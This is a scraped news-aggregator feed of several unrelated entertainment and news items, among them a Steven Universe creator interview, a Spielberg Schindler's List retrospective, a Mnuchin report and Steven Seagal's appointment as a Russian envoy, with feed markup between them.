“Wild Thing” I didn’t know. I knew a little bit of “Ring of Fire.” I loved Johnny Cash, because he sang at Folsom [Prison]. “Wild Thing,” remember the guy from Aerosmith, Steven Tyler? I heard him in a TV show, Two and a Half Men, and he was bothering Charlie Sheen. He was practicing and he was just screaming. I said, “OK, I’ll do it like that.” [Laughs] I was channeling Steven Tyler from Aerosmith.

Press PLAY on the video below to watch Raccoon’s interview, then hit the comments: Were you surprised?

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]]> https://briefnews.eu/masked-singers-latest-castoff-drew-his-inspiration-from-steven-tylers-appearance-on-two-and-a-half-men/feed/ 0 Steven Universe Creator Breaks Down the Movie’s Biggest Moments, Including That Romantic ‘No-Brainer’ https://briefnews.eu/steven-universe-creator-breaks-down-the-movies-biggest-moments-including-that-romantic-no-brainer/ https://briefnews.eu/steven-universe-creator-breaks-down-the-movies-biggest-moments-including-that-romantic-no-brainer/#respond Tue, 03 Sep 2019 02:59:39 +0000 http://briefnews.eu/steven-universe-creator-breaks-down-the-movies-biggest-moments-including-that-romantic-no-brainer/ The residents of Beach City (and beyond) sang their hearts out on Monday with the premiere of Steven Universe: The Movie, a culmination of the hit series’ four seasons of adventures. TVLine spoke with series creator Rebecca Sugar, who also directed the movie, about some of its biggest moments. But first, a quick recap:

After declaring that he doesn’t wish to inherit his mother’s throne, a 16-year-old Steven returned to Earth to resume life with his family and friends, only to be rocked by the unexpected arrival of an evil (yet adorable) Crystal Gem named Spinel. “I’m the loser of the game you didn’t know you were playing,” she told them. “This time, I get to win!” Following an explosive scuffle, Steven’s fellow Gems reverted back to their primitive states, with no knowledge of him whatsoever.

Now believing herself to be Steven’s best friend, Spinel helped him piece the Gems’ memories back together by attempting to recreate familiar experiences, and she became enraged anytime he suggested working separately. As it turns out, Spinel was Pink Diamond’s playmate, and her heart blackened when Pink abandoned her to begin a new life.

Spinel’s dark reawakening resulted in a series of town-destroying battles with the Crystal Gems, until Steven saved her life and showed her the power of love.

“Friendship isn’t going to be easy for me,” she concluded. “I’m going to have to work on it.” And just like that, the other Diamonds showed up and formed an immediate bond with Spinel, eventually taking her back when they return home.

Below, Sugar addresses some of the biggest moments, including Steven’s fusion with Greg and kiss from Connie:

TVLINE | First of all, I loved those Disney-style opening credits.
Thank you. I really wanted to do front credits. That was always going to be a bit of a tough sell. … There are elements of the diamonds that are pulled from golden age animation and illustrations. They should feel like that aspect of the era in the same way that Spinel feels like rubber hose animation from the ‘30s. We really wanted to showcase these inspirations.

Steven Universe: The MovieTVLINE | Spinel’s actions triggered a sort of reboot effect for everyone. Was that one of your goals with this movie, to let us re-experience some of our favorite moments from the show?
Yes, but I wanted it to feel new at the same time. That was something exciting to me. This show is so character-based, so I wanted to celebrate what we’ve been through with these characters, but also approach it in a new way. Almost reinvent their stories a little bit, twist them with new ideas. I loved that this time Sapphire was the one who was defying fate and pushing Ruby out of the way. We got to explore the characters based on the foundation we’ve created for them, while also introducing new ideas.

TVLINE | My personal favorite new introduction had to be Steven and Greg’s fusion.
We’ve been wanting to do Steg for years and years. We were talking about him in some of our earliest writers meetings. We just hadn’t found a place climactic enough to warrant how powerful he is. We had some old episode ideas about a battle-of-the-bands situation, and they were really cute, but they never made it all the way into production. We’ve just been waiting for our opportunity to introduce Steg.

TVLINE | The fans will certainly enjoy that little kiss Connie gave Steven. Was that an important thing you wanted to include for fans?
Well, they love each other. It’s not a question to me. It felt intuitive, and he’s finally in peace time, so the hope is that he’s going to have some great teenage experiences like a normal human being… before that gets ripped away from him. Internally, it was a bit of a no-brainer. We just knew that was where they were at, and Connie was bound to be a little more forward than Steven.

TVLINE | Spinel’s story was so heartbreaking and tragic. What message do you want people to take away from it?
I really want people to take away the idea that it’s OK to be a work in progress. You really need to want to feel better. That’s really difficult to do. No matter how much you want to help somebody, you can’t make them want that. No matter how far along you are on your journey, you’re still going to be on it — it’s not going to be over. So the sooner you can enjoy that you’re always growing, the better it’ll feel to be traveling through life.

TVLINE | Lastly, as a Broadway fan, I want to thank you for giving us Patti LuPone and Christine Ebersole in surround sound.
I went to see them in person when they were doing War Paint [on Broadway], and Patti was like, “You should write us a duet.” I will do anything she wants.

What did you think of Steven Universe: The Movie? Grade it below, then drop a comment with your full review.

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]]> https://briefnews.eu/steven-universe-creator-breaks-down-the-movies-biggest-moments-including-that-romantic-no-brainer/feed/ 0 Recommended Reading: Reading While Distracted, Caviar Cons, and Steven Soderbergh https://briefnews.eu/recommended-reading-reading-while-distracted-caviar-cons-and-steven-soderbergh/ https://briefnews.eu/recommended-reading-reading-while-distracted-caviar-cons-and-steven-soderbergh/#respond Fri, 15 Feb 2019 18:11:16 +0000 http://briefnews.eu/recommended-reading-reading-while-distracted-caviar-cons-and-steven-soderbergh/ Modern online media is all about the signal boost, so every Friday here at Flavorwire, we take a moment to spotlight some of the best stuff we’ve read online this week. Today, a candid talk with an Oscar-winning filmmaker, thoughtful essays on acknowledging privilege in wealth and how to read in 2019, and the fascinating story of an international caviar ring.

David Gauvey Herbert on the caviar con.

We love nothing more than a story of crime where you least expect it, and over at Longreads, Herbert has a doozy: the story of “the long-running war between caviar-mad Russians, local fishermen, and the feds” for a caviar-bearing in a small town in the Ozarks. And then, in a surprising twist, it turns out the big story wasn’t what it appeared to be at all:

In Warsaw, Baravik and his three friends rented a cabin, bought fishing licenses at Walmart, and hit the Roadhouse, which by now was brimming with snaggers who paid $ 8 a day for the privilege of jostling with one another for position on the small dock.

Money was changing hands all over Warsaw. Petr Babenko drove his white Mercedes van around town buying up pregnant females. Another man, Fedor Pakhnyuk, openly bragged that he had sold $ 15,000 worth of caviar in 2011. Now he was en route to buying 36 quarts of paddlefish eggs — with a retail value in the thousands of dollars. He also ran a ramshackle processing station behind his motel room. Caviar madness had taken hold.

None of these men knew that the Roadhouse dockworker that sold day passes had a hidden camera over his shoulder. Or that he was keeping meticulous records of their personal information for future arrest warrants. Or that Gary Hamilton, the friendly middle-aged man running the dock who slept in the camper 15 yards up the hill was in fact Gregg Hitchings, the undercover wizard of the Missouri Department of Conservation.

Mairead Small Staid on reading in the smartphone age.

In this thoughtful, almost mournful essay for the Paris Review, Staid marks the 25th anniversary of Sven Birkerts’ The Gutenberg Elegies: The Fate of Reading in an Electronic Age by noting not just what that volume got right (basically everything) but how to course-correct – the small steps one can take, as it is so elegantly put here, to reorient oneself to read vertically rather than horizontally:

And perhaps the greatest danger posed to literature is not any newfangled technology or whiz-bang rearrangement of our synapses, but plain old human greed in its latest, greatest iteration: an online retailer incorporated in the same year The Gutenberg Elegies was published. In the last twenty-five years, Amazon has gorged on late capitalism’s values of ease and cheapness, threatening to monopolize not only the book world, but the world-world. In the face of such an insidious, omnivorous menace—not merely the tech giant, but the culture that created and sustains it—I find it difficult to disentangle my own fear about the future of books from my fear about the futures of small-town economies, of American democracy, of the earth and its rising seas.

“Ten, fifteen years from now the world will be nothing like what we remember, nothing much like what we experience now,” Birkerts wrote. “We will be swimming in impulses and data—the microchip will make us offers that will be very hard to refuse.” Indeed, few of us have refused them. As each new technology, from smartphones to voice-activated home assistants, becomes normalized faster and faster, our ability to refuse it lessens. The choice presented in The Gutenberg Elegies, between embrace and skepticism, hardly seems like a choice anymore: the new generation is born swaddled in the digital world’s many arms.

Jen Doll on the myth and tyranny of the “self-made” success story.

“Why does it feel like everyone has more money than you?” asks the headline of Doll’s latest, for Harper’s Bazaar, and it’s a fine question – particularly for those who live in expensive cities and find themselves struggling to scratch together enough cash to cover the basics. The answer, of course, is the outsized role that privilege and wealth plays in our society, but Doll doesn’t just stop there; she eloquently interrogates the issues of honesty, disclosure, and shaming that are packed into those conversations (on the rare occasions when they actually occur):

Ross Levine and Yona Rubenstein, economists at University of California, Berkeley, and The London School of Economics, wrote a paper about the shared traits of entrepreneurs in 2013. Guess what? Most were white men who were highly educated, i.e., from a certain class of privilege. Levine told Quartz, “If one does not have money in the form of a family with money, the chances of becoming an entrepreneur drop quite a bit.” (In their working paper, they explain how a “$ 100,000 increase in family income is associated with a more than 50 percent increase in the odds of becoming incorporated self-employed.” Further, according to Quartz, “the average cost to launch a startup is around $ 30,000,” and “more than 80 percent of funding for new businesses comes from personal savings and friends and family.”)

This flies in the face of the idealized rags-to-riches American success story, that it’s not only possible to pull yourself up by your bootstraps, it’s also the most honorable and worthy storyline there is. Which is why disclosing the truth about how you—or who—really funded your first business, home, or even something as simple as your first car is so important. Not sharing the whole truth can cause anxiety among those who don’t have such resources; beyond that, misplaced expectations about success and achievement can lead to disappointment and even depression. And while there’s nothing wrong with getting help from your parents, keeping it under wraps takes away from the even harder-won successes of those who truly came from nothing. “Financial anxiety is the biggest crisis in America,” says Bea Arthur, a therapist and entrepreneur who just launched her third company, The Difference, Amazon’s very first Alexa skill for therapy. Arthur’s first business was started, she says, with a check written by her boyfriend at the time. “And that was not the last check,” she says. “I’m a really hard worker … but none of that could have been paid [for] if I didn’t have a rich old white boyfriend. It doesn’t just take grit.”

David Sims interviews Steven Soderbergh.

One of the best things about Oscar winner Steven Soderbergh – beyond his continuing insistence on making great, smart movies that play with form and function – is his cheerful willingness to talk openly, and at length, about the ins and outs of the business of filmmaking. And he does that in this terrific talk with Sims at The Atlantic, in which he dives into the making of his new film High Flying Bird, the current strangeness surrounding the Oscars, his “crackpot theories” on why the moviegoing calendar is the way it is, and why theatrical exhibition has to be more nimble:

Sims: You tried [a simultaneous in-theaters and home release] with Bubble in 2005, back before anyone thought that was a thing you could do. You tried it with The Girlfriend Experience in 2009. Were you just inventing the wheel before there was a car to put it on? What’s changed in the past 15 years?

Soderbergh: Well, I ran into the problem that all platforms are having, which is that the big chains don’t want to engage with this. I know [the National Association of Theatre Owners president,] John Fithian well, and have had a lot of interaction with NATO, and I am sympathetic to this issue. What I don’t understand is why everyone in this business thinks there is one template that is gonna be the unified field theory of “windowing” [or how long a movie screens in theaters]. The minute that I knew, which is usually around Friday at noon, that Logan Lucky wasn’t going to work and that Unsane was definitely not gonna work—as soon as that happens, the studio should let me drop the movie on a platform the next week. There should be a mechanism for when something dies at the box office like that.

Sims: A backup option of, You know what, if it doesn’t hit this number on opening weekend, then release it online.

Soderbergh: I think in abject failures, they should let you do whatever the hell you want. If Unsane drops and doesn’t perform, who’s harmed exactly by me 10 days later putting this thing on a platform? You can’t prove to me that that’s hurting your business.

]]> https://briefnews.eu/recommended-reading-reading-while-distracted-caviar-cons-and-steven-soderbergh/feed/ 0 VOTD: Steven Spielberg Looks Back on ‘Schindler’s List’ After 25 Years https://briefnews.eu/votd-steven-spielberg-looks-back-on-schindlers-list-after-25-years/ https://briefnews.eu/votd-steven-spielberg-looks-back-on-schindlers-list-after-25-years/#respond Fri, 07 Dec 2018 22:36:19 +0000 http://briefnews.eu/votd-steven-spielberg-looks-back-on-schindlers-list-after-25-years/ Schindler's List Steven Spielberg Interview

This year marks the 25th anniversary of Schindler’s List, and the film is back in select theaters for a limited time starting today. It’s a milestone motion picture, earning Steven Spielberg his first Oscar for Best Director, not to mention taking home Best Picture.

But more importantly, it’s probably the most harrowing and acclaimed depiction of the Holocaust that the big screen has ever seen. Schindler’s List inspired survivors to tell their stories, and it also inspired Spielberg to start the Shoah Foundation, an organization that exists to further the remembrance of the Holocaust to ensure that what happened all those years ago during never happens again.

In a new interview with Lester Holt on NBC Nightly News, Spielberg sat down for an extensive 22-minute segment about Schindler’s List, looking back at the making of the movie, the legacy it has created for victims and survivors, and the people who have been touched by the film over the past two and a half decades.

First, if you’ve somehow avoided seeing Schindler’s List, here’s the re-release trailer and the official synopsis:

Businessman Oskar Schindler (Liam Neeson) arrives in Krakow in 1939, ready to make his fortune from World War II, which has just started. After joining the Nazi party primarily for political expediency, he staffs his factory with Jewish workers for similarly pragmatic reasons. When the SS begins exterminating Jews in the Krakow ghetto, Schindler arranges to have his workers protected to keep his factory in operation, but soon realizes that in so doing, he is also saving innocent lives.

Schindler’s List Steven Spielberg Interview

Spielberg talks about how Schindler’s List came into his life, and believe it or not, it wasn’t a movie that the filmmaker sought out to make himself at first. In fact, it was Universal Pictures executive Sid Sheinberg who first stumbled upon the book that inspired the film. Before there was even a fraction of interest in turning it into a movie from the filmmaker himself, Sheinberg had bought the rights to the book for Spielberg to direct.

Schindler’s List ended up being a life-changing experience for Steven Spielberg, not only as a filmmaker, but as a Jewish man. He’s talked extensively in interviews about how the film helped him become more in touch with his heritage, something that he was embarrassed about for a long time when he was younger. But this movie awoke something in him, and it gave him a newfound voice that he wanted to give to survivors who hadn’t yet told their story of living through this dark period in history.

This is a must-see film, not only because of the incredible storytelling on display by one of the most gifted filmmakers of all time, but also because of the importance that this moment holds in history. In today’s cultural climate, it’s more important than ever to remember the tragedies of the past so that we aren’t doomed to repeat them.

Schindler’s List is back in select theaters now. Find out where you can see it right here.

The post VOTD: Steven Spielberg Looks Back on ‘Schindler’s List’ After 25 Years appeared first on /Film.

]]> https://briefnews.eu/votd-steven-spielberg-looks-back-on-schindlers-list-after-25-years/feed/ 0 ‘If he’s so good, why is this happening’: Trump reportedly blames Treasury Secretary Steven Mnuchin for recommending Jerome Powell as Fed chair https://briefnews.eu/if-hes-so-good-why-is-this-happening-trump-reportedly-blames-treasury-secretary-steven-mnuchin-for-recommending-jerome-powell-as-fed-chair/ https://briefnews.eu/if-hes-so-good-why-is-this-happening-trump-reportedly-blames-treasury-secretary-steven-mnuchin-for-recommending-jerome-powell-as-fed-chair/#respond Sat, 24 Nov 2018 09:25:32 +0000 http://briefnews.eu/if-hes-so-good-why-is-this-happening-trump-reportedly-blames-treasury-secretary-steven-mnuchin-for-recommending-jerome-powell-as-fed-chair/ Steve MnuchinEvan Vucci/AP

  • Treasury Secretary Steven Mnuchin has reportedly drawn President Donald Trump’s ire after a series of economic decisions and recommendations, according to The Wall Street Journal.
  • Trump is said to have blamed Mnuchin, who backed the appointment of Federal Reserve Chairman Jerome Powell.
  • Powell has raised interest rates three times in 2018, and more hikes are expected in 2019. Trump has been openly critical of the Fed’s moves.
  • After The Journal published its report on Friday afternoon, Trump appeared to dispel the notion that he was irritated with Mnuchin.

Treasury Secretary Steven Mnuchin has reportedly drawn President Donald Trump’s ire after a series of economic decisions and recommendations, according to a Wall Street Journal report on Friday.

Trump is said to have blamed Mnuchin, who backed the appointment of Federal Reserve Chairman Jerome Powell.

See the rest of the story at Business Insider

NOW WATCH: Megyn Kelly in 2017: ‘I regret a lot’ of the controversial stuff I’ve said on live television

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SEE ALSO: Treasury Secretary Steve Mnuchin doubled down on a claim about the tax bill that almost every independent group says is wrong

]]> https://briefnews.eu/if-hes-so-good-why-is-this-happening-trump-reportedly-blames-treasury-secretary-steven-mnuchin-for-recommending-jerome-powell-as-fed-chair/feed/ 0 Philosopher fight: Slavoj Zizek attacks Jordan Peterson and Steven Pinker at Cambridge Union https://briefnews.eu/philosopher-fight-slavoj-zizek-attacks-jordan-peterson-and-steven-pinker-at-cambridge-union/ https://briefnews.eu/philosopher-fight-slavoj-zizek-attacks-jordan-peterson-and-steven-pinker-at-cambridge-union/#respond Fri, 23 Nov 2018 13:38:25 +0000 http://briefnews.eu/philosopher-fight-slavoj-zizek-attacks-jordan-peterson-and-steven-pinker-at-cambridge-union/

In a clash of the world’s most popular philosophers, avowed communist Slavoj Zizek attacked ‘pseudo-scientific’ Jordan Peterson and Steven Pinker, who he described as his “enemy,” during an appearance at the Cambridge Union.

Zizek, who appeared at the prestigious university’s union earlier this month, rounded on his fellow philosophers in his typical unique style.

Having previously praised Peterson for his contentions with political correctness, Zizek denounced the Canadian for having fallen into ‘this stupid trap of using the term of the contemporary right: cultural marxism.’

The Slovenian leftist then provided a history of the term and the ‘conspiracy theory narrative’ that surrounds it.

Previously Zizek argued that it was Peterson’s belief in cultural-marxism, a theory which is often labelled anti-semitic, that made him a fellow-traveller of the alt-right and undermined his claims to be a ‘classic British liberal.’

Zizek got a laugh from the Cambridge audience when hitting Peterson’s “pseudo-scientific references; he cannot talk about women and marriage without mentioning lobsters, apes or whatever,” said Zizek leading to laughs from the audience.

READ MORE: Slavoj Žižek: Until the rich world thinks ‘one world,’ migration will intensify

In another repost to Peterson, Zizek asserted that the problem with political correctness is not that it’s “too fanatically marxist” rather “it’s precisely that it’s not marxist.”

Moving onto Steven Pinker, who Zizek described as “someone who is also my enemy,” the philosopher stated that he was dubious of many of the American’s “facts” which have been used to argue that “the present is much better than anytime in history.”

Peterson has previously attempted to debate with Zizek, challenging him to publicly discuss “the validity of my ‘apparently’ scientific theories.” However philosophy fans were disappointed when it turned out that Peterson had, seemingly accidentally, responded to a Zizek quote bot Twitter account.

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]]> https://briefnews.eu/philosopher-fight-slavoj-zizek-attacks-jordan-peterson-and-steven-pinker-at-cambridge-union/feed/ 0 Steven Spielberg’s ‘West Side Story’ Remake Casts ‘Baby Driver’ Star Ansel Elgort https://briefnews.eu/steven-spielbergs-west-side-story-remake-casts-baby-driver-star-ansel-elgort/ https://briefnews.eu/steven-spielbergs-west-side-story-remake-casts-baby-driver-star-ansel-elgort/#respond Mon, 01 Oct 2018 22:54:27 +0000 http://briefnews.eu/steven-spielbergs-west-side-story-remake-casts-baby-driver-star-ansel-elgort/ Baby Driver Honest Trailer

Ansel Elgort is leaping from a crime movie that might as well be a musical to a full-on musical set in a world of crime. The Baby Driver star has signed on to star in Steven Spielberg‘s upcoming remake of West Side Story, anchoring one half of the story’s star-crossed duo.

The Hollywood Reporter has the news and they report that Elgort was selected after a lengthy casting process, one that dragged on for so long that insiders were concerned no one would be found. After all, West Side Story requires triple threats: performers who can sing, dance, and act. Honestly, I was only aware that Elgort could do one of those (he’s a quite force of “Aw, shucks” nature in Baby Driver), but if his pipes and his feet are good enough for The Beard, then they’re good enough for me.

West Side Story is, of course, only one of the most famous Broadway musicals of all time and it was only adapted into one of the most famous movie musicals of all time. A loose retelling of William Shakespeare’s Romeo and Juliet set in Manhattan in the ’50s, it follows a romance that blossoms between Tony and Maria, who come from rival street gangs. Elgort will play Tony, a member of the Jets. Spielberg is still looking for his Maria, who has familial connections to the Sharks.

And honestly, it’s in the leads that Spielberg could find room to improve upon the original, which has aged quite nicely with its classic Hollywood sheen. The supporting cast of the original is far more entertaining than the leads, who are a bit dull compared to the colorful characters offering support from the sidelines. Plus, Natalie Wood and Richard Beymer did not do their own singing, which leads to their big romantic moments lacking the spark that comes from performers truly being in their element. If Spielberg can find a leading lady who has onscreen sparks with Elgort and then lets them both sing their hearts out, this could be something special. After all, it’s not like the songs by Stephen Sondheim and Leonard Bernstein have gotten weaker over their years. This show holds up.

There is no release date set for West Side Story, but cameras could begin rolling as early as next summer. Tony Kushner, the celebrated playwright who penned Lincoln and Munich for Spielberg, wrote the screenplay.

The post Steven Spielberg’s ‘West Side Story’ Remake Casts ‘Baby Driver’ Star Ansel Elgort appeared first on /Film.

]]> https://briefnews.eu/steven-spielbergs-west-side-story-remake-casts-baby-driver-star-ansel-elgort/feed/ 0 Moscow appoints action star Steven Seagal special envoy on Russia-US humanitarian ties https://briefnews.eu/moscow-appoints-action-star-steven-seagal-special-envoy-on-russia-us-humanitarian-ties/ https://briefnews.eu/moscow-appoints-action-star-steven-seagal-special-envoy-on-russia-us-humanitarian-ties/#respond Sat, 04 Aug 2018 20:16:51 +0000 http://briefnews.eu/moscow-appoints-action-star-steven-seagal-special-envoy-on-russia-us-humanitarian-ties/ Hollywood star Steven Seagal, who was granted Russian citizenship back in 2016, is going to be Moscow’s special representative on humanitarian relations with the US.

The veteran actor’s task will be “to contribute to the further development of Russian-American relations in the humanitarian sphere, including interactions in the fields of culture, art, public and youth exchanges, among other things,” the Russian Foreign Ministry said on its Facebook page.

Read more


© Bogdan Cristel

Seagal won’t be receiving any payment for doing the job, which the ministry described as “the case of people’s diplomacy meeting with traditional diplomacy.”

The 66-year-old action star, who appeared in more than 60 movies, including ‘Above the Law’ and ‘Under Siege,’ said that he was “sincerely grateful” to the Russian Foreign Ministry for the opportunity.

“I’ve always tried to do everything possible to help Russian-American relations to improve,” Seagal, who hold both Russian and US passports, said. 
“I was working towards without having an official status and now it is a great honor for me to do the same officially.” 

Seagal has been a long time supporter of Russia, visiting it regularly  as he opened a chain of the Planet Hollywood franchise in Moscow in the 90s. In 2013 he became an ambassador for Russian firearms manufacturer Orsis.

The Hollywood star, whose family originally hails from Russia, received citizenship in 2016 and signed his passport in the presence of Putin.

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]]> https://briefnews.eu/moscow-appoints-action-star-steven-seagal-special-envoy-on-russia-us-humanitarian-ties/feed/ 0 Steven Universe Video: Watch Cartoon Network's First Same-Sex Proposal https://briefnews.eu/steven-universe-video-watch-cartoon-networks-first-same-sex-proposal/ https://briefnews.eu/steven-universe-video-watch-cartoon-networks-first-same-sex-proposal/#respond Thu, 05 Jul 2018 22:19:24 +0000 http://briefnews.eu/steven-universe-video-watch-cartoon-networks-first-same-sex-proposal/

Inclusivity has been a consistent theme throughout Steven Universe‘s five-season run, but the Cartoon Network series took that commitment to the next level this week in an episode appropriately titled “The Question.”

Wednesday’s installment — the third in a five-part “Heart of the Crystal Gems” event — found characters Ruby and Sapphire, who themselves are halves of a powerful warrior named Garnet, at a crossroads in their relationship. They went their separate ways after splitting into individual beings, only for Ruby to experience a change of heart and realize that they were always meant to be together.

“I wanted to really create an image of a queer couple that makes sense together,” creator Rebecca Sugar tells TVLine’s sister publication Variety. “Usually the couple is a man and a woman. But you don’t show that love can exist between two men or two women. I wanted to create equal-opportunity love stories for children.”

In the clip, Ruby laments to Steven, “I did have a lot of fun today … but the whole time, I kept thinking about how much more fun I’d have with her. Sapphire was always there with me. I felt her smile just like it was mine. It’s so lonely now. … I came here to be my own gem, but I keep thinking about what she’d like and what she’d want all the time. It turns out I’m not no good at needing nobody.”

As you’ll see in the video above, this inspired Ruby to saddle up and ride to Sapphire’s seaside digs, where she got down on one knee and proposed a new union.

“This way, we can be together — even when we’re apart,” Ruby told her. “This time, being Garnet will be our decision. Whaddaya say?”

Hit PLAY on the video to find out Sapphire’s answer, then drop a comment with your own thoughts below.

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